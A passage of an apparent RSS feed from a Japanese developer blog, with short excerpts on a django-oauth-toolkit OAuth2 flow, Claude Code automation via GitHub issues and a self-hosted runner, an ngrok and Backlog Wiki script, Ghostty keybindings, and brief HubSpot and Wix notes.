&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;サービス&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;django-oauth-toolkit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Service A (リソースサーバー)&lt;/td&gt;
&lt;td&gt;ファイル配信 API を提供&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2.4.0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service B (クライアント)&lt;/td&gt;
&lt;td&gt;API からファイルを取得&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.7.1&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Service B は Service A の OAuth2 トークンエンドポイントに HTTP Basic Auth で &lt;code&gt;client_id:client_secret&lt;/code&gt; を送信し、アクセストークンを取得してからファイルをダウンロードする。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Service B Service A
| |
|-- POST /o/token/ ---------------&amp;gt;|
| Authorization: Basic base64( |
| client_id:client_secret) |
| |-- client_secret をハッシュ化
| |-- DB のハッシュ値と比較
|&amp;lt;-- access_token -----------------|
| |
|-- GET /api/files/ --------------&amp;gt;|
| Authorization: Bearer token |
|&amp;lt;-- file data --------------------|
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;このフローは数年間安定稼働していた。&lt;/p&gt;</description></item><item><title>Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-cloudwatch-%E3%82%A8%E3%83%A9%E3%83%BC%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AE-issue-%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Thu, 12 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-cloudwatch-%E3%82%A8%E3%83%A9%E3%83%BC%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AE-issue-%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="claude-code-スキルで-cloudwatch-エラーレポートの-issue-トリアージを自動化する"&gt;Claude Code スキルで CloudWatch エラーレポートの Issue トリアージを自動化する&lt;/h1&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;本番環境の ECS コンテナで発生したエラーは、CloudWatch Logs → Lambda → GitHub Issue という流れで自動起票される仕組みを運用しています。&lt;/p&gt;
&lt;p&gt;タイトルは &lt;code&gt;[prod][myapp] errors detected&lt;/code&gt;、ラベルは &lt;code&gt;CloudWatchLog&lt;/code&gt; で統一されており、1つの Issue に複数のエラーブロックがまとまって届きます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Error Report - 2026-02-12 01:32:28 UTC
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Environment**: prod
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Log Group**: &lt;span style="color:#e6db74"&gt;`/ecs/myapp-prod-ecs`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **Error Blocks**: 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [1] 2026-02-12 01:32:26 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [2] 2026-02-12 01:45:10 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### [3] 2026-02-12 02:01:33 UTC - `application`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;（スタックトレース）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この Issue をそのまま放置すると、異なるエラーが混在したまま溜まっていきます。手作業で分類・個別 Issue 化するのは地味に面倒で、後回しにしがちでした。&lt;/p&gt;</description></item><item><title>iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った — Self-hosted Runner + Claude Code CLI セットアップガイド</title><link>https://hdknr.github.io/blogs/posts/2026/02/iphone-%E3%81%8B%E3%82%89-github-issue-%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7-mac-%E3%81%AE-claude-code-%E3%81%8C%E8%87%AA%E5%8B%95%E5%AE%9F%E8%A1%8C%E3%81%95%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F-self-hosted-runner--claude-code-cli-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Wed, 11 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/iphone-%E3%81%8B%E3%82%89-github-issue-%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%A0%E3%81%91%E3%81%A7-mac-%E3%81%AE-claude-code-%E3%81%8C%E8%87%AA%E5%8B%95%E5%AE%9F%E8%A1%8C%E3%81%95%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%9F-self-hosted-runner--claude-code-cli-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;h1 id="iphone-から-github-issue-を書くだけで-mac-の-claude-code-が自動実行される仕組みを作った"&gt;iPhone から GitHub Issue を書くだけで Mac の Claude Code が自動実行される仕組みを作った&lt;/h1&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;GitHub Self-hosted Runner + Claude Code CLI を組み合わせて、&lt;strong&gt;iPhone で Issue を作成 → Mac 上の Claude Code が自動で調査・コード修正・PR 作成&lt;/strong&gt;まで行う仕組みを構築した。2ステージ承認フロー付きで、&lt;code&gt;/claude&lt;/code&gt; で調査、&lt;code&gt;/approve&lt;/code&gt; で実行という安全な運用が可能。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="モチベーション"&gt;モチベーション&lt;/h2&gt;
&lt;p&gt;普段 Mac の前にいないときでも、iPhone からコードの調査や修正を指示したい。GitHub Issue に書くだけで Claude Code が自動的に動いてくれれば、移動中でもコードレビューや修正依頼ができる。&lt;/p&gt;
&lt;h2 id="完成した仕組み"&gt;完成した仕組み&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;iPhone GitHub Mac (self-hosted runner)
│ │ │
├─ Issue 作成 ────────────→│ │
│ (claude ラベル付与) │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (読み取り専用)
│ │←── 調査結果コメント ──────┤
│ │ + 承認待ちラベル │
│ │ │
├─ /approve コメント ──────→│ │
│ │── ワークフロー起動 ─────→│
│ │ ├─ claude -p (書き込み許可)
│ │←── 実行結果 + PR ────────┤
│ │ - 承認待ちラベル │
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="トリガー一覧"&gt;トリガー一覧&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;条件&lt;/th&gt;
&lt;th&gt;動作&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;claude&lt;/code&gt; ラベル付き Issue 起票&lt;/td&gt;
&lt;td&gt;起票者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1: 読み取り専用で調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/claude&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1: 読み取り専用で調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/claude --execute&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー&lt;/td&gt;
&lt;td&gt;Stage 1 スキップ、直接実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/approve&lt;/code&gt; コメント&lt;/td&gt;
&lt;td&gt;コメント者がリポジトリオーナー + &lt;code&gt;承認待ち&lt;/code&gt; ラベル&lt;/td&gt;
&lt;td&gt;Stage 2: 計画に基づき実行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="必要なもの"&gt;必要なもの&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;macOS マシン (Apple Silicon / Intel)&lt;/li&gt;
&lt;li&gt;Claude Code CLI がインストール済み (&lt;code&gt;npm install -g @anthropic-ai/claude-code&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Claude Max/Pro プラン (OAuth トークン) または Anthropic API キー&lt;/li&gt;
&lt;li&gt;GitHub CLI (&lt;code&gt;gh&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="セットアップ手順"&gt;セットアップ手順&lt;/h2&gt;
&lt;h3 id="1-self-hosted-runner-のインストール"&gt;1. Self-hosted Runner のインストール&lt;/h3&gt;
&lt;p&gt;GitHub の個人アカウントでは Runner はリポジトリ単位の登録になる。同一マシンに複数の Runner を並置できる。&lt;/p&gt;</description></item><item><title>ローカルの開発モックを ngrok で公開し、Backlog Wiki を自動更新するシェルスクリプト</title><link>https://hdknr.github.io/blogs/posts/2026/02/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%AE%E9%96%8B%E7%99%BA%E3%83%A2%E3%83%83%E3%82%AF%E3%82%92-ngrok-%E3%81%A7%E5%85%AC%E9%96%8B%E3%81%97backlog-wiki-%E3%82%92%E8%87%AA%E5%8B%95%E6%9B%B4%E6%96%B0%E3%81%99%E3%82%8B%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</link><pubDate>Wed, 11 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%AE%E9%96%8B%E7%99%BA%E3%83%A2%E3%83%83%E3%82%AF%E3%82%92-ngrok-%E3%81%A7%E5%85%AC%E9%96%8B%E3%81%97backlog-wiki-%E3%82%92%E8%87%AA%E5%8B%95%E6%9B%B4%E6%96%B0%E3%81%99%E3%82%8B%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</guid><description>&lt;h1 id="ローカルの開発モックを-ngrok-で公開しbacklog-wiki-を自動更新するシェルスクリプト"&gt;ローカルの開発モックを ngrok で公開し、Backlog Wiki を自動更新するシェルスクリプト&lt;/h1&gt;
&lt;p&gt;レビュー担当者にモックアプリを見せたいとき、毎回「URL 変わりました」と連絡するのが面倒になったので、&lt;strong&gt;ngrok 起動 → Backlog Wiki 自動更新&lt;/strong&gt;を1コマンドで済ませるスクリプトを作りました。&lt;/p&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;社内プロジェクトで React のモックアプリを開発しています。レビュー担当者（非エンジニア）にモック画面を確認してもらう際、以下のような手順を毎回踏んでいました：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;npm run dev&lt;/code&gt; でローカルサーバーを起動&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ngrok http 3000&lt;/code&gt; でトンネルを張る&lt;/li&gt;
&lt;li&gt;発行された URL をコピー&lt;/li&gt;
&lt;li&gt;Backlog の Wiki ページを開いて URL を貼り替える&lt;/li&gt;
&lt;li&gt;レビュー担当者に連絡&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ngrok の無料プランでは URL が起動ごとに変わるため、&lt;strong&gt;毎回 Wiki を手動更新する必要がありました&lt;/strong&gt;。これを自動化します。&lt;/p&gt;
&lt;h2 id="スクリプトの全体像"&gt;スクリプトの全体像&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;./scripts/serve-public.sh [user:password]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;1コマンドで以下が実行されます：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Vite dev server 起動
↓
ngrok トンネル開通（Basic認証付き）
↓
Backlog Wiki に URL を自動反映
↓
Ctrl+C で全プロセス停止
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="実装のポイント"&gt;実装のポイント&lt;/h2&gt;
&lt;h3 id="1-vite-の起動待ち"&gt;1. Vite の起動待ち&lt;/h3&gt;
&lt;p&gt;Vite dev server はバックグラウンドで起動しますが、すぐには HTTP リクエストを受け付けません。ポーリングで起動完了を待ちます：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;seq &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; 15&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; curl -s -o /dev/null http://localhost:$PORT 2&amp;gt;/dev/null; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;15秒以内に応答がなければエラーとして終了します。&lt;/p&gt;</description></item><item><title>Ghostty + Claude Code 連携ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/02/ghostty--claude-code-%E9%80%A3%E6%90%BA%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Wed, 04 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/ghostty--claude-code-%E9%80%A3%E6%90%BA%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;h1 id="ghostty--claude-code-連携ガイド"&gt;Ghostty + Claude Code 連携ガイド&lt;/h1&gt;
&lt;p&gt;GhosttyとClaude Codeの組み合わせは、多くの開発者が推奨する構成です。主なポイントをまとめます。&lt;/p&gt;
&lt;h2 id="すぐに使える機能"&gt;すぐに使える機能&lt;/h2&gt;
&lt;h3 id="shiftenter-がネイティブ対応"&gt;Shift+Enter がネイティブ対応&lt;/h3&gt;
&lt;p&gt;Ghosttyでは &lt;strong&gt;Shift+Enter による改行入力がそのまま動作&lt;/strong&gt;します。他のターミナルでは &lt;code&gt;/terminal-setup&lt;/code&gt; で設定が必要ですが、Ghosttyでは不要です。&lt;/p&gt;
&lt;h3 id="gpu-アクセラレーション"&gt;GPU アクセラレーション&lt;/h3&gt;
&lt;p&gt;Claude Codeの出力が大量になっても、GPUレンダリングのおかげでスムーズにスクロール・表示されます。VS Codeのターミナルでは大量テキストのペースト時にフリーズすることがありますが、Ghosttyではその問題がありません。&lt;/p&gt;
&lt;h2 id="おすすめワークフロー"&gt;おすすめワークフロー&lt;/h2&gt;
&lt;h3 id="1-スプリットペイン活用最も人気の構成"&gt;1. スプリットペイン活用（最も人気の構成）&lt;/h3&gt;
&lt;p&gt;Ghosttyのビルトインスプリット機能でClaude Codeと作業画面を並べられます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# ~/.config/ghostty/config に追加
# スプリット作成
keybind = cmd+d=new_split:right
keybind = cmd+shift+d=new_split:down
# Vim風のペイン移動
keybind = ctrl+h=goto_split:left
keybind = ctrl+j=goto_split:bottom
keybind = ctrl+k=goto_split:top
keybind = ctrl+l=goto_split:right
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;典型的な3ペイン構成:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;左&lt;/strong&gt;: Claude Code&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;右&lt;/strong&gt;: エディタ (Neovim/Vim等)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下&lt;/strong&gt;: 通常のターミナル (ビルド・テスト実行用)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-タブで複数プロジェクト管理"&gt;2. タブで複数プロジェクト管理&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Cmd+数字&lt;/code&gt; でタブ間を素早く切り替えられるので、プロジェクトごとにタブを分けてClaude Codeセッションを使い分けられます。&lt;/p&gt;
&lt;h3 id="3-kitty-graphics-protocol"&gt;3. Kitty Graphics Protocol&lt;/h3&gt;
&lt;p&gt;GhosttyはKitty Graphics Protocolに対応しているため、ターミナル内で画像をインライン表示できます。&lt;/p&gt;</description></item><item><title>Azure OpenAI</title><link>https://hdknr.github.io/blogs/posts/2025/07/azure-openai/</link><pubDate>Wed, 16 Jul 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/07/azure-openai/</guid><description>&lt;h1 id="azure-openai"&gt;Azure OpenAI&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Lotusoc/items/bef94f1f87cadd804b9d"&gt;Azure OpenAI Service申請について&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Hubspot</title><link>https://hdknr.github.io/blogs/posts/2025/03/hubspot/</link><pubDate>Tue, 25 Mar 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/03/hubspot/</guid><description>&lt;h1 id="cta"&gt;CTA&lt;/h1&gt;
&lt;h2 id="ビデオ埋め込み"&gt;ビデオ埋め込み&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;viemoなどiframe配信できるサーバーにホスティングしているビデオが対象&lt;/li&gt;
&lt;li&gt;vimeoの muted=1&amp;amp;autoplay=1 でも自動再生はできない (セキュリティ上の問題。自動再生は、ユーザーのトリガーがないとしてくれないケースがある)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ショートムービーをアニメーションGIFに変換:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffmpeg -i input.mp4 -r &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; output.gif
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Wix</title><link>https://hdknr.github.io/blogs/posts/2025/03/wix/</link><pubDate>Tue, 11 Mar 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/03/wix/</guid><description>&lt;h1 id="wix"&gt;Wix&lt;/h1&gt;
&lt;h2 id="会員登録"&gt;会員登録&lt;/h2&gt;
&lt;p&gt;Wixでのサイト会員の招待手順は、招待する会員の種類によって異なります。ここでは、主な招待方法を3つご紹介します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. サイトの共同編集者として招待する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サイトの共同編集者として招待すると、招待されたユーザーはサイトの編集や管理を行うことができます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手順:&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Wixアカウントにログインし、サイトダッシュボードを開きます。&lt;/li&gt;
&lt;li&gt;左側のメニューから「設定」をクリックします。&lt;/li&gt;
&lt;li&gt;「役割・権限」をクリックします。&lt;/li&gt;
&lt;li&gt;「共同編集者を招待」をクリックします。&lt;/li&gt;
&lt;li&gt;招待するユーザーのメールアドレスを入力し、役割を選択します。&lt;/li&gt;
&lt;li&gt;「招待を送信」をクリックします。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. サイト会員（メンバー）として招待する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サイト会員（メンバー）として招待すると、招待されたユーザーはサイトの会員限定コンテンツにアクセスしたり、会員限定の機能を利用したりすることができます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手順:&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Wixアカウントにログインし、サイトダッシュボードを開きます。&lt;/li&gt;
&lt;li&gt;左側のメニューから「顧客管理」をクリックします。&lt;/li&gt;
&lt;li&gt;「連絡先」をクリックします。&lt;/li&gt;
&lt;li&gt;「連絡先を追加」をクリックし、招待するユーザーの情報を入力します。&lt;/li&gt;
&lt;li&gt;「サイトのメンバーとして招待」にチェックを入れます。&lt;/li&gt;
&lt;li&gt;「追加」をクリックします。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Wixグループのメンバーとして招待する&lt;/strong&gt;&lt;/p&gt;
